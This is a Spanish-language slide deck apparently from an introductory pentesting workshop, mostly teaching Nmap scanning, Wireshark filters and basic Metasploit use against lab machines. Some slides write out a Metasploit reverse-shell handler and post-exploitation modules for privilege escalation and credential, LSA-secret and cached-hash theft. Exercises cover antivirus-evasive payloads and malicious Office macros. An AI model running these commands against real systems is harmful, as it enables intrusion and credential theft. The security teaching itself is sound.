Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

Pentesting 101 por Paulino Calderon

1,322 views

Published on

Taller impartido en el Tecnologico de Toluca como introducción breve al pentesting.

Published in: Internet
  • Be the first to comment

Pentesting 101 por Paulino Calderon

  1. 1. ● Soy fundador/Consultor de Websec México: http://websec.mx ● Fuí parte del programa Google Summer Of Code 2011: https://code.google.com/p/google-summer-of-code-2011-nmap/ ● Soy desarrollador NSE del proyecto Nmap: http://nmap.org ● He contribuido con módulos oficiales del proyecto Metasploit: http://www.rapid7.com/db/search?q=paulino+calderon #cat /etc/about Pentesting 101 Paulino Calderon Pale <calderon@websec.mx>
  2. 2. ● He desarrollado algunas apps de Android: ○ Mac2wepkey HHG5XX (+5 millones de descargas) https://play.google.com/store/apps/details?id=mx.websec. mac2wepkey.hhg5xx ○ IP2hosts (+5 mil descargas) https://play.google.com/store/apps/details?id=websec.ip2hosts ○ Vecinitum de fibra (+10 mil descargas) https://play.google.com/store/apps/details?id=mx.websec. mac2wepkey.al #cat /etc/about Pentesting 101 Paulino Calderon Pale <calderon@websec.mx>
  3. 3. Y he escrito un par de libros: ○ Nmap 6: Network Exploration and Security Auditing Cookbook (5 estrellas en Amazon) http://www.amazon.com/Nmap-exploration-security-auditing- ebook/dp/B00AC1HF8W/ ○ Mastering the Nmap Scripting Engine (Nov 2014) http://www.amazon.com/Mastering-Scripting-Engine-Paulino- Calderon/dp/1782168311/ Entre otras cosas: http://calderonpale.com #cat /etc/about Pentesting 101 Paulino Calderon Pale <calderon@websec.mx>
  4. 4. Paulino Calderón Pale calderon@websec.mx Twitter: @calderpwn WWW: http://calderonpale.com #cat /etc/contact Pentesting 101 Paulino Calderon Pale <calderon@websec.mx>
  5. 5. Pentesting 101 Introducción a las pruebas de penetración
  6. 6. Pen testing 101 ● ¿Qué es un pentest? ● ¿Qué se obtiene de un buen pentest? ● ¿Cómo podemos llegar a ser buenos pentesters? Paulino Calderon Pale <calderon@websec.mx>Pentesting 101
  7. 7. Pentesting 101 ● Existen varias metodologías y guías: ○ Penetration testing execution standard. ○ Open Source Security Testing Methodology Manual. ○ Technical Guide to Information Security Testing and Assessment. ○ SANS’ Critical Security Controls. ○ OWASP TOP 10. Pentesting 101 Paulino Calderon Pale <calderon@websec.mx>
  8. 8. Pentesting 101: Fases ● Definición de alcance ● Information gathering ● Identificación de amenazas ● Identificación de vulnerabilidades ● Explotación de vulnerabilidades ● Post explotación ● Generación de reportes =/ Pentesting 101 Paulino Calderon Pale <calderon@websec.mx>
  9. 9. ● Recolección de información ○ Descubrimiento de activos con Nmap ● Explotación de vulnerabilidades ○ Explotación de vulnerabilidades con Metasploit ○ Uso del framework de explotación Veil ● Otros ataques ○ Ataques de ingeniería social con psploitgen Agenda Pentesting 101 Paulino Calderon Pale <calderon@websec.mx>
  10. 10. Exploración de redes: ● Conceptos TCP/IP. ● Fundamentos básicos de Nmap ● Técnicas de descubrimiento de hosts ● Identificación de sistemas operativos ● Técnicas de escaneo de puertos ● Identificación de servicios ● Recolección de información ● Ataques de fuerza bruta ● Detección de vulnerabilidades Explotación de vulnerabilidades: ● Uso de metasploit para la explotación de vulnerabilidades ● Identificación de servicios vulnerables ● Exfiltración de información utilizando metasploit ● Evasión de antivirus con Veil Evasion Ataques de ingeniería social: ● Ataques de phishing ● Evasión de filtros con pssploitgen ¿Qué aprenderemos? Pentesting 101 Paulino Calderon Pale <calderon@websec.mx>
  11. 11. ● Kali 32 bits (root:toor) Máquinas vulnerables: ● P1 ● Información de máquinas virtuales Pentesting 101 Paulino Calderon Pale <calderon@websec.mx>
  12. 12. Information gathering Recolección de información
  13. 13. Descubrimiento de activos ● Siempre usen Wireshark para analizar el tráfico como ejercicio inicial. ● ¿Sabemos que equipos estan conectados a la red? ● ¿Cómo podemos hacer este proceso de la forma más eficiente? El arte de la exploración de redes informáticas Paulino Calderon calderon@websec.mx Pentesting 101 Paulino Calderon Pale <calderon@websec.mx>
  14. 14. Wireshark ● Rápidamente se pueden listar los hosts comunicándose en la red. ● Permite aplicar filtros para visualizar fácilmente la información que necesitamos. ● Se obtiene mucha información sobre la red solo con mirar el tráfico por 15 minutos. El arte de la exploración de redes informáticas Paulino Calderon calderon@websec.mx Pentesting 101 Paulino Calderon Pale <calderon@websec.mx>
  15. 15. Plugins de Wireshark El arte de la exploración de redes informáticas Paulino Calderon calderon@websec.mx Pentesting 101 Paulino Calderon Pale <calderon@websec.mx>
  16. 16. Wireshark 101 ● Algunos filtros útiles son: ○ tcp.port==80 ○ ip.addr==192.168.1.1 ○ ip.src==192.168.1.1 o ip.dst==192.168.1.1 ○ http ○ http.request ○ tcp contains password ○ !(arp or icmp or dns) ○ eth.addr==de:ad:be:ef:ca:fe El arte de la exploración de redes informáticas Paulino Calderon calderon@websec.mx Pentesting 101 Paulino Calderon Pale <calderon@websec.mx>
  17. 17. Práctica ● Analiza el tráfico de la red actualmente. ○ ¿Qué protocolos son los más usados? ○ ¿Detectaron alguna posible vulnerabilidad? El arte de la exploración de redes informáticas Paulino Calderon calderon@websec.mx Pentesting 101 Paulino Calderon Pale <calderon@websec.mx>
  18. 18. Conceptos TCP/IP Antes de continuar unos conceptos: ● Conexión TCP de 3 vías ● Banderas TCP/IP ● Notación CIDR Pentesting 101 Paulino Calderon Pale <calderon@websec.mx>
  19. 19. Conexiones TCP Las conexiones TCP requieren iniciar una conexión para transmitir o recibir datos. Debemos entender el protocolo de enlace de tres vías. El arte de la exploración de redes Paulino Calderon calderon@websec.mx Pentesting 101 Paulino Calderon Pale <calderon@websec.mx>
  20. 20. Establecimiento de conexión TCP: Enlace de 3 vías ● Host #1 envia un paquete SYN a Host #2. ● Host #2 envia SYN/ACK a host #1 ● Host #1 envia ACK a host #2 y se establece la conexión. El arte de la exploración de redes Paulino Calderon calderon@websec.mx Pentesting 101 Paulino Calderon Pale <calderon@websec.mx>
  21. 21. Notación CIDR (IPv4) ● Dirección IP más sufijo: 192.168.0.1/24 ● Algunas equivalencias: ○ /32 ==1 host == ○ /24 ==254 hosts==255.255.255.0 ○ /16==65,534 hosts==255.255.0.0 ● En UNIX existe la herramienta ipcalc.El arte de la exploración de redes Paulino Calderon calderon@websec.mx Pentesting 101 Paulino Calderon Pale <calderon@websec.mx>
  22. 22. Notación CIDR (IPv4) El arte de la exploración de redes Paulino Calderon calderon@websec.mx Pentesting 101 Paulino Calderon Pale <calderon@websec.mx>
  23. 23. Nmap ● Página oficial: http://nmap.org ● Nmap es una herramienta de código abierto para exploración de redes y auditorías de seguridad.(*) ● Se diseñó para analizar rápidamente grandes redes, aunque funciona muy bien contra equipos individuales. (*) ● Esencial para pentesters y administradores de sistemas. El arte de la exploración de redes Paulino Calderon calderon@websec.mx Pentesting 101 Paulino Calderon Pale <calderon@websec.mx>
  24. 24. Descargando e instalando Nmap Para descargarlo desde el repositorio oficial: $svn co https://svn.nmap.org/nmap Para instalarlo: $./configure $make #make install El arte de la exploración de redes Paulino Calderon calderon@websec.mx Pentesting 101 Paulino Calderon Pale <calderon@websec.mx>
  25. 25. Dependencias ● libssl-dev ● autoconf ● make ● g++ El arte de la exploración de redes Paulino Calderon calderon@websec.mx Pentesting 101 Paulino Calderon Pale <calderon@websec.mx>
  26. 26. Manteniendo tu copia al día ● Para actualizar su copia de nmap: $svn up $make -j4 #make install El arte de la exploración de redes Paulino Calderon calderon@websec.mx Pentesting 101 Paulino Calderon Pale <calderon@websec.mx>
  27. 27. Práctica Ejecute Nmap e identifique que información regresa. $nmap <objetivo(s)> El arte de la exploración de redes Paulino Calderon calderon@websec.mx Pentesting 101 Paulino Calderon Pale <calderon@websec.mx>
  28. 28. Práctica Ejecute Nmap e identifique que información regresa. Nmap scan report for scanme.nmap.org Host is up (0.011s latency). Not shown: 996 closed ports PORT STATE SERVICE 53/tcp open domain 80/tcp open http 139/tcp open netbios-ssn 445/tcp open microsoft-ds El arte de la exploración de redes Paulino Calderon calderon@websec.mx Pentesting 101 Paulino Calderon Pale <calderon@websec.mx>
  29. 29. Escaneo básico de Nmap Un escaneo de Nmap sin argumentos regresa: ○ Estado del objetivo (en línea/desconectado) ○ La dirección IP y nombre de host. ○ Lista de servicios y puertos. El arte de la exploración de redes Paulino Calderon calderon@websec.mx Pentesting 101 Paulino Calderon Pale <calderon@websec.mx>
  30. 30. Práctica Inicien un escaneo a su propia máquina. ● ¿Qué encontraron? ● ¿Algún servicio que no sabían que existía? El arte de la exploración de redes Paulino Calderon calderon@websec.mx Pentesting 101 Paulino Calderon Pale <calderon@websec.mx>
  31. 31. Guardando escaneos de Nmap Para guardar escaneos en los formatos grepable, XML y normal utilicen el argumento “-oA”: $nmap -oA escaneo1 <objetivo(s)> El arte de la exploración de redes Paulino Calderon calderon@websec.mx Pentesting 101 Paulino Calderon Pale <calderon@websec.mx>
  32. 32. Resolución de nombres (DNS) ● Servidores DNS resuelven nombres de dominio a direcciones IP. ● ¿Qué servidores usan? ○ Los de su ISP ○ Google (8.8.8.8 y 8.8.4.4) ○ Internos El arte de la exploración de redes Paulino Calderon calderon@websec.mx Pentesting 101 Paulino Calderon Pale <calderon@websec.mx>
  33. 33. Especificando servidores DNS Para especificar que servidores DNS debe usar Nmap: $nmap --dns-servers 8.8.8.8,8.8.4.4 <objetivo> El arte de la exploración de redes Paulino Calderon calderon@websec.mx Pentesting 101 Paulino Calderon Pale <calderon@websec.mx>
  34. 34. ¿Por qué hacer descubrimiento de hosts? ● Para realizar un inventario de los equipos conectados a nuestra red. ● Para descubrir que equipos estan activos. ● Para optimizar el proceso de descubrimiento de servicios. El arte de la exploración de redes Paulino Calderon calderon@websec.mx Pentesting 101 Paulino Calderon Pale <calderon@websec.mx>
  35. 35. Descubriendo equipos en la red ● Nmap utiliza las siguientes técnicas: ● SYN/ACK ● UDP ● SCPT INIT ● ICMP El arte de la exploración de redes Paulino Calderon calderon@websec.mx Pentesting 101 Paulino Calderon Pale <calderon@websec.mx>
  36. 36. Descubriendo equipos en la red Durante la fase de descubrimiento de hosts, por default Nmap envia: ● Una petición ICMP Echo Request ● Un paquete TCP SYN a puerto 443 ● Un paquete ARP al puerto 80 ● Una petición ICMP Timestamp El arte de la exploración de redes Paulino Calderon calderon@websec.mx Pentesting 101 Paulino Calderon Pale <calderon@websec.mx>
  37. 37. Descubriendo equipos en la red ● Mandando ICMP Echo Requests a solo un host: ping <objetivo> ● O con Nmap: $nmap -sP -PE <objetivo> El arte de la exploración de redes Paulino Calderon calderon@websec.mx Pentesting 101 Paulino Calderon Pale <calderon@websec.mx>
  38. 38. Descubriendo equipos en la red ● Si estan en la misma red Nmap utilizará peticiones ARP. ● Si la red es externa usará escaneo ICMP/SYN. El arte de la exploración de redes Paulino Calderon calderon@websec.mx Pentesting 101 Paulino Calderon Pale <calderon@websec.mx>
  39. 39. TCP SYN Ping ● Nmap utilizará los paquetes de respuesta RST o SYN/ACK para determinar si el objetivo está en línea. ● Por default se manda al puerto 80. nmap -PS80 <objetivo> El arte de la exploración de redes Paulino Calderon calderon@websec.mx Pentesting 101 Paulino Calderon Pale <calderon@websec.mx>
  40. 40. TCP ACK Ping ● Nmap utilizará los paquetes de respuesta RST para determinar si el objetivo está en línea. ● Por default se manda al puerto 80. ● Requiere privilegios para crear raw sockets. De lo contrario usa el método TCP SYN. nmap -PA80 <objetivo> El arte de la exploración de redes Paulino Calderon calderon@websec.mx Pentesting 101 Paulino Calderon Pale <calderon@websec.mx>
  41. 41. UDP Ping ● Un host responde con el mensaje ICMP port unreachable cuando se envía un paquete UDP a un puerto cerrado. ● El host puede responder con otro tipo de mensajes de error ICMP. ● Nmap utiliza estos mensajes para identificar si un host esta en linea. ● Es importante lanzar este “probe” contra un puerto cerrado. #nmap -PU21,80,53 <objetivo> El arte de la exploración de redes Paulino Calderon calderon@websec.mx Pentesting 101 Paulino Calderon Pale <calderon@websec.mx>
  42. 42. SCTP INIT Ping ● Un host responde con ABORT o INIT ACK si esta en línea. ● Este tipo de escaneo requiere privilegios para crear paquetes “raw”. ● Este probe es enviado al puerto 80 por default. # nmap -PY80 <objetivo> El arte de la exploración de redes Paulino Calderon calderon@websec.mx Pentesting 101 Paulino Calderon Pale <calderon@websec.mx>
  43. 43. IP Protocol Ping ● Lanza paquetes IP para tratar de ocasionar algún tipo de respuesta. ● Por default Nmap usa los siguientes protocolos: ○ ICMP (protocolo #1) ○ IGMP (protocolo #2) ○ IP-in-IP (protocolo #4) #nmap -P0 <objetivo> El arte de la exploración de redes Paulino Calderon calderon@websec.mx Pentesting 101 Paulino Calderon Pale <calderon@websec.mx>
  44. 44. Personalizando “probes” de descubrimiento Se puede personalizar los puertos que son utilizados para la fase de descubrimiento de hosts. # nmap -sP -PS22,3389 192.168.0.1/24 # nmap -sP -PU53 192.168.0.1/24 El arte de la exploración de redes Paulino Calderon calderon@websec.mx Pentesting 101 Paulino Calderon Pale <calderon@websec.mx>
  45. 45. Descubriendo equipos en la red ● Barrido DNS: $nmap -R -sn <objetivo(s)> $nmap --dns-servers server1,server2 -R - sn <objetivo(s)> El arte de la exploración de redes Paulino Calderon calderon@websec.mx Pentesting 101 Paulino Calderon Pale <calderon@websec.mx>
  46. 46. Descubriendo equipos en la red | broadcast-upnp-info: | 192.168.0.5 | Server: TP-LINK/TL-SC3230N/6.E.2.10117/169.254.88.241 | Location: http://192.168.0.5:49152/edevicedesc.xml | 192.168.0.8 | Server: Linux/3.0.8, UPnP/1.0, Portable SDK for UPnP devices/1.6.14 | Location: http://192.168.0.8:49152/description.xml | 192.168.0.42 | Server: Microsoft-Windows/6.2 UPnP/1.0 UPnP-Device-Host/1.0 |_ Location: http://192.168.0.42:2869/upnphost/udhisapi.dll? content=uuid:383283d1-d95c-4211-9525-b27af762e967 El arte de la exploración de redes Paulino Calderon calderon@websec.mx Pentesting 101 Paulino Calderon Pale <calderon@websec.mx>
  47. 47. Práctica Descubre que información existe en la red actual usando peticiones de tipo multicast. El arte de la exploración de redes Paulino Calderon calderon@websec.mx Pentesting 101 Paulino Calderon Pale <calderon@websec.mx>
  48. 48. Práctica Descubre que información existe en la red actual usando peticiones de tipo multicast. $nmap --script broadcast -sn -Pn -n El arte de la exploración de redes Paulino Calderon calderon@websec.mx Pentesting 101 Paulino Calderon Pale <calderon@websec.mx>
  49. 49. Identificación de sistema operativo La funcionalidad de detección de sistema operativo requiere de privilegios especiales, específicamente permisos para crear “raw sockets”. #nmap -sV -O <objetivo(s)> El arte de la exploración de redes Paulino Calderon calderon@websec.mx Pentesting 101 Paulino Calderon Pale <calderon@websec.mx>
  50. 50. Identificación de sistema operativo Limitar escaneo a objetivos con un puerto abierto y uno cerrado: #nmap -sV -O --osscan-limit <objetivo(s)> ¿Qué hacer si Nmap no detecta el sistema operativo? #nmap -sV -O --osscan-guess <objetivo(s)> El arte de la exploración de redes Paulino Calderon calderon@websec.mx Pentesting 101 Paulino Calderon Pale <calderon@websec.mx>
  51. 51. Práctica Evadir la detección de sistema operativo en un ambiente UNIX. El arte de la exploración de redes Paulino Calderon calderon@websec.mx Pentesting 101 Paulino Calderon Pale <calderon@websec.mx>
  52. 52. Práctica Evadir la detección de sistema operativo. #echo 128 > /proc/sys/net/ipv4/ip_default_ttl El arte de la exploración de redes Paulino Calderon calderon@websec.mx Pentesting 101 Paulino Calderon Pale <calderon@websec.mx>
  53. 53. Desactivando escaneo de puertos ● Para desactivar el escaneo de puertos se usa el argumento “-sn”: $nmap --script broadcast -sn El arte de la exploración de redes Paulino Calderon calderon@websec.mx Pentesting 101 Paulino Calderon Pale <calderon@websec.mx>
  54. 54. Desactivando descubrimiento de hosts ● Para desactivar la fase de descubrimiento de hosts: $nmap -Pn -p80 <objetivo(s)> El arte de la exploración de redes Paulino Calderon calderon@websec.mx Pentesting 101 Paulino Calderon Pale <calderon@websec.mx>
  55. 55. Técnicas de escaneo ● TCP SYN ● TCP Connect ● UDP ● TCP Null ● FIN ● XMAS El arte de la exploración de redes Paulino Calderon calderon@websec.mx Pentesting 101 Paulino Calderon Pale <calderon@websec.mx>
  56. 56. Posibles estados de un puerto ● open (abierto) ● closed (cerrado) ● filtered (filtrado) ● unfiltered (no filtrado) ● open|filtered (abierto|filtrado) ● close|filtered (cerrado|filtrado) El arte de la exploración de redes Paulino Calderon calderon@websec.mx Pentesting 101 Paulino Calderon Pale <calderon@websec.mx>
  57. 57. Especificando puertos ● Para especificar un rango $nmap -p1-100 <objetivo(s)> ● Pueden listar diferentes puertos separandolos con comas: $nmap -p22,23,80 <objetivo(s)> ● Pueden escanear absolutamente todos los puertos disponibles $nmap -p- <objetivo(s)> El arte de la exploración de redes Paulino Calderon calderon@websec.mx Pentesting 101 Paulino Calderon Pale <calderon@websec.mx>
  58. 58. Especificando puertos ● También se pueden usar nombres de servicios $nmap -p smtp <objetivo(s)> ● Y nombres de servicio con wildcards: $nmap -p smtp* <objetivo(s)> El arte de la exploración de redes Paulino Calderon calderon@websec.mx Pentesting 101 Paulino Calderon Pale <calderon@websec.mx>
  59. 59. Detección de servicios Para iniciar el modo de detección de servicios se usa el argumento “-sV”: $nmap -sV <objetivo> El arte de la exploración de redes Paulino Calderon calderon@websec.mx Pentesting 101 Paulino Calderon Pale <calderon@websec.mx>
  60. 60. ¿Qué hacer cuando no los detecta? Nmap determina que firmas usar basado en un nivel de “rareza”. Si el servicio que queremos identificar corre en un puerto no estándar: $nmap -sV --version-all <objetivo(s)> $nmap -sV --version-intensity 9 <objetivo(s)> El arte de la exploración de redes Paulino Calderon calderon@websec.mx Pentesting 101 Paulino Calderon Pale <calderon@websec.mx>
  61. 61. Identificación de servicios vulnerables ¿Cómo usamos esta información para saber si un servicio es vulnerable? Si la identificación de versión es exitosa simplemente tenemos que revisar que vulnerabilidades han sido publicadas antes. El arte de la exploración de redes Paulino Calderon calderon@websec.mx Pentesting 101 Paulino Calderon Pale <calderon@websec.mx>
  62. 62. Timing templates ● Existe un alias para usar diferentes configuraciones de rendimiento y ajustes de tiempos de espera predeterminados: -T1-5. ● T3 es el valor default que Nmap usa. $nmap -sV -O -T4 <objetivo(s)> El arte de la exploración de redes Paulino Calderon calderon@websec.mx Pentesting 101 Paulino Calderon Pale <calderon@websec.mx>
  63. 63. Otros valores interesantes de optimización min-hostgroup/max-hostgroup: Número de hosts a escanear simultáneamente. min-parallelism/max-parallelism: Número de transmisiones simultáneas. max-retries: Número de retransmisiones. host-timeout: Tiempo de espera antes de ignorar un host. scan-delay: Tiempo de espera entre “probes”. min-rate/max-rate: Número de paquetes por segundo.El arte de la exploración de redes Paulino Calderon calderon@websec.mx Pentesting 101 Paulino Calderon Pale <calderon@websec.mx>
  64. 64. TCP SYN Scan ● Escaneo utilizando técnica de “media conexión”. ● Método default de escaneo en Nmap. #nmap -sS <objetivo(s)> El arte de la exploración de redes Paulino Calderon calderon@websec.mx Pentesting 101 Paulino Calderon Pale <calderon@websec.mx>
  65. 65. TCP Connect Scan ● Técnica de escaneo que establece una conexión completa para determinar si ● Método default de escaneo en Nmap ejecutándose sin privilegios. $nmap -sT <objetivo(s)> El arte de la exploración de redes Paulino Calderon calderon@websec.mx Pentesting 101 Paulino Calderon Pale <calderon@websec.mx>
  66. 66. TCP ACK Scan ● Útil para detectar firewalls. ● Esta técnica solo determina si los puertos estan filtrados o no filtrados. Es decir, no determina si el puerto esta abierto o cerrado. $nmap -sA <objetivo(s)> El arte de la exploración de redes Paulino Calderon calderon@websec.mx Pentesting 101 Paulino Calderon Pale <calderon@websec.mx>
  67. 67. Idle scan El idle scan es una técnica en la cual usamos la predictibilidad del número de secuencia TCP IP de una máquina ”zombie” para escanear a nuestro objetivo escondiendo nuestro verdadero origen. El arte de la exploración de redes Paulino Calderon calderon@websec.mx Pentesting 101 Paulino Calderon Pale <calderon@websec.mx>
  68. 68. Idle scan Esta técnica depende de la predictibilidad del número de secuencia TCP ID Un candidato bueno para ser usado como zombie: Debe de estar ”idle”. En nuestro mismo netblock de preferencia. Impresoras, web cams y routers son muy buenos candidatos. El arte de la exploración de redes Paulino Calderon calderon@websec.mx Pentesting 101 Paulino Calderon Pale <calderon@websec.mx>
  69. 69. Idle scan Para encontrar zombies: #nmap -F --script ipidseq -n <host/ip> #nmap -O -v <host/ip> Usandolos: #nmap -Pn -sI ZOMBIE OBJETIVO El arte de la exploración de redes Paulino Calderon calderon@websec.mx Pentesting 101 Paulino Calderon Pale <calderon@websec.mx>
  70. 70. Idle scan Checamos el IP ID del zombie Mandamos paquete SYN spoofeado como si viniera del zombie El arte de la exploración de redes Paulino Calderon calderon@websec.mx Pentesting 101 Paulino Calderon Pale <calderon@websec.mx>
  71. 71. Idle scan ● El objetivo regresa un SYN/ACK ● El zombie regresa un RST e incrementa su IP ID ● Nosotros checamos el IP ID, si incremento el puerto esta abierto. El arte de la exploración de redes Paulino Calderon calderon@websec.mx Pentesting 101 Paulino Calderon Pale <calderon@websec.mx>
  72. 72. Tarea para después ● Encuentra un host con id de secuencia TCP IP incremental. ● Determinemos si nuestro ISP tiene protección contra paquetes spoofeados El arte de la exploración de redes Paulino Calderon calderon@websec.mx Pentesting 101 Paulino Calderon Pale <calderon@websec.mx>
  73. 73. IP Protocol Scan El arte de la exploración de redes Paulino Calderon calderon@websec.mx Pentesting 101 Paulino Calderon Pale <calderon@websec.mx>
  74. 74. Ndiff El arte de la exploración de redes Paulino Calderon calderon@websec.mx Herramienta diseñada para comparar escaneos de Nmap. Toma escaneos guardados en formato XML. $ndiff scan1.xml scan2.xml Pentesting 101 Paulino Calderon Pale <calderon@websec.mx>
  75. 75. Práctica ● Implementar un sistema de monitoreo utilizando Nmap y Ndiff. El arte de la exploración de redes Paulino Calderon calderon@websec.mx Pentesting 101 Paulino Calderon Pale <calderon@websec.mx>
  76. 76. Práctica ● Implementar un sistema de monitoreo utilizando Nmap y Ndiff. 1. Realizar un escaneo que refleje el estado “bueno” de la red. 2. Utiliza Ndiff para comparar el estado actual con el primer escaneo realizado. 3. Automatiza la tarea! El arte de la exploración de redes Paulino Calderon calderon@websec.mx Pentesting 101 Paulino Calderon Pale <calderon@websec.mx>
  77. 77. Desarrollo NSE (Nmap Scripting Engine) Paulino Calderon calderon@websec.mx ● Motor de scripts que ha expandido la funcionalidad de Nmap en todos los aspectos. ● Actualmente existen más de 400 scripts (435 el día que escribí esto) en el repositorio oficial. NSE == "Nmap Scripting Engine" Pentesting 101 Paulino Calderon Pale <calderon@websec.mx>
  78. 78. Más consejos de uso ● Es difícil recordar el nombre de todos los argumentos. Mantengan abierta una consola en el folder de los scripts y usen: cat <script> | grep @args ● No existe una función de autocompletar. ( Entren al folder de scripts y ejecuten sus escaneos desde ahí? ). Desarrollo NSE (Nmap Scripting Engine) Paulino Calderon calderon@websec.mx http://guadalajaracon.org GuadalajaraCON Pentesting 101 Paulino Calderon Pale <calderon@websec.mx>
  79. 79. Ataques de fuerza bruta Una de las funciones más poderosas de NSE. Existen 51 protocolos soportados en este momento. Los argumentos relevantes cuando trabajamos con estos scripts son: ● userdb: Archivo que contiene los nombres de usuario. ● passdb: Archivo que contiene las posibles contraseñas. ● firstOnly: Detener el script cuando se encuentre la primera combinación válida. El arte de la exploración de redes Paulino Calderon calderon@websec.mx Pentesting 101 Paulino Calderon Pale <calderon@websec.mx>
  80. 80. Práctica Realiza un ataque de fuerza bruta contra el servicio de MySQL de la máquina #3. El arte de la exploración de redes Paulino Calderon calderon@websec.mx Pentesting 101 Paulino Calderon Pale <calderon@websec.mx>
  81. 81. Práctica Realiza un ataque de fuerza bruta contra el servicio de MySQL de la máquina #3. El arte de la exploración de redes Paulino Calderon calderon@websec.mx Pentesting 101 Paulino Calderon Pale <calderon@websec.mx>
  82. 82. Recolección de información Además de la lista de servicios existe más información que nos puede ser de ayuda como: ● Nombres virtuales de dominio. ● Entradas DNS con nombres comunes. El arte de la exploración de redes Paulino Calderon calderon@websec.mx Pentesting 101 Paulino Calderon Pale <calderon@websec.mx>
  83. 83. Recolección de información Además de la lista de servicios existe más información que nos puede ser de ayuda como: ● Nombres virtuales de dominio. ● Entradas DNS con nombres comunes. El arte de la exploración de redes Paulino Calderon calderon@websec.mx Pentesting 101 Paulino Calderon Pale <calderon@websec.mx>
  84. 84. Descubriendo entradas DNS El script dns-brute lanza un ataque de diccionario para encontrar entradas DNS. $nmap --script dns-brute <objetivo(s)> El arte de la exploración de redes Paulino Calderon calderon@websec.mx Pentesting 101 Paulino Calderon Pale <calderon@websec.mx>
  85. 85. Descubriendo sitios móviles Existe el script http-mobileversion-checker que compara peticiones usando diferentes cabeceras User Agent para descubrir sitios móviles: $nmap -p80,443 --script http-mobileversion- checker <objetivo> El arte de la exploración de redes Paulino Calderon calderon@websec.mx Pentesting 101 Paulino Calderon Pale <calderon@websec.mx>
  86. 86. Descubriendo vulnerabilidades de inyección de código en webapps NSE también tiene scripts para automatizar la detección de posibles vulnerabilidades de tipo: ● Cross Site Scripting ● SQL Injection ● Local File Inclusion El arte de la exploración de redes Paulino Calderon calderon@websec.mx Pentesting 101 Paulino Calderon Pale <calderon@websec.mx>
  87. 87. Explotación de vulnerabilidades Metasploit 101
  88. 88. Metasploit es un framework de explotación de vulnerabilidades que actualmente cuenta con: ● +1,300 exploits ● +700 módulos auxiliares ● +300 payloads ● +30 encoders http://www.metasploit.com/ Metasploit 101 Pentesting 101 Paulino Calderon Pale <calderon@websec.mx>
  89. 89. ● Integración con PostreSQL. ● Meterpreter Metasploit 101: Otros aspectos interesantes Pentesting 101 Paulino Calderon Pale <calderon@websec.mx>
  90. 90. Para realizar búsquedas: search “oracle” Para establecer valores de variables: set <VARIABLE> <VALOR> Para establecer valores de variables: setg <VARIABLE> <VALOR> Para obtener información sobre un módulo: info <modulo> Metasploit 101 Pentesting 101 Paulino Calderon Pale <calderon@websec.mx>
  91. 91. Para seleccionar un módulo: use <modulo> Para ver las opciones del módulo: show options Metasploit 101 Pentesting 101 Paulino Calderon Pale <calderon@websec.mx>
  92. 92. Listado de sesiones activas: sessions -l Iniciar modo interactivo con alguna sesión sessions -i <# de sesión> Para regresar a la consola de msf background Metasploit 101 Pentesting 101 Paulino Calderon Pale <calderon@websec.mx>
  93. 93. Ejecución de múltiples comandos use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_tcp set LHOST 0.0.0.0 set LPORT 443 set ExitOnSession false set AutoRunScript multi_console_command -rc autorun-msf.rc exploit -j
  94. 94. Ejecución de múltiples comandos run post/windows/escalate/getsystem run post/windows/gather/credentials/credential_collector run post/windows/gather/lsa_secrets run post/windows/wlan/wlan_profile run post/windows/gather/cachedump run post/windows/gather/enum_db run post/windows/gather/screen_spy
  95. 95. ● Obtén la mayor cantidad de llaves de las máquinas vulnerables. Prácticas: Metasploit 101 Pentesting 101 Paulino Calderon Pale <calderon@websec.mx>
  96. 96. ● ¿Cómo funcionan los AVs? ● ¿Qué vamos a hacer si casi el 100% de las organizaciones utilizan algún AV? ● ¿AV is dead? Evasión de antivirus Pentesting 101 Paulino Calderon Pale <calderon@websec.mx>
  97. 97. ● Genera un binario de meterpreter que no sea detectado por el AV instalado en tu sistema. Práctica: Evasión de antivirus Pentesting 101 Paulino Calderon Pale <calderon@websec.mx>
  98. 98. Existen otros ataques de redes que funcionan cerca del 100% del tiempo: ● WPAD spoofing ● LLMNR spoofing ● ARP spoofing Otros ataques a redes Pentesting 101 Paulino Calderon Pale <calderon@websec.mx>
  99. 99. Ataques de ingeniería social
  100. 100. ● ¿Qué es un ataque de ingeniería social? ● ¿Qué tan efectivos son estos ataques? Ataques de ingeniería social Pentesting 101 Paulino Calderon Pale <calderon@websec.mx>
  101. 101. ● Crea un documento de Office con un macro malicioso Práctica: Ataques de ingeniería social Pentesting 101 Paulino Calderon Pale <calderon@websec.mx>
  102. 102. ● ¿Qué hacemos una vez que tenemos nuestra primera cuenta? ● ¿Qué información necesitamos recolectar en esta etapa? Post explotación Pentesting 101 Paulino Calderon Pale <calderon@websec.mx>
  103. 103. ● VMWare: http://vmware.com ● Virtualbox: http://virtualbox.com ● Kali: http://kali.org ● Wireshark: http://wireshark.com ● Nmap: http://nmap.org ● Metasploit: http://metasploit.com ● Responder: https://github.com/SpiderLabs/Responder ● Veil Framework: https://github.com/Veil-Framework/ ● Psploitgen: https://bitbucket.org/jsthyer/psploitgen ● Vulnhub: http://vulnhub.com/ ● Pentester Lab: http://pentesterlab.com/ #cat /etc/resources Pentesting 101 Paulino Calderon Pale <calderon@websec.mx>
  104. 104. ● OWASP: https://www.owasp.org/index.php/Main_Page ● OSTMM: http://www.isecom.org/research/osstmm.html ● Penetration Testing Execution Standard: http://www.pentest-standard. org/index.php/Main_Page #cat /etc/resources Pentesting 101 Paulino Calderon Pale <calderon@websec.mx>
  105. 105. Paulino Calderón Pale calderon@websec.mx Twitter: @calderpwn WWW: http://calderonpale.com #cat /etc/contact Pentesting 101 Paulino Calderon Pale <calderon@websec.mx>

×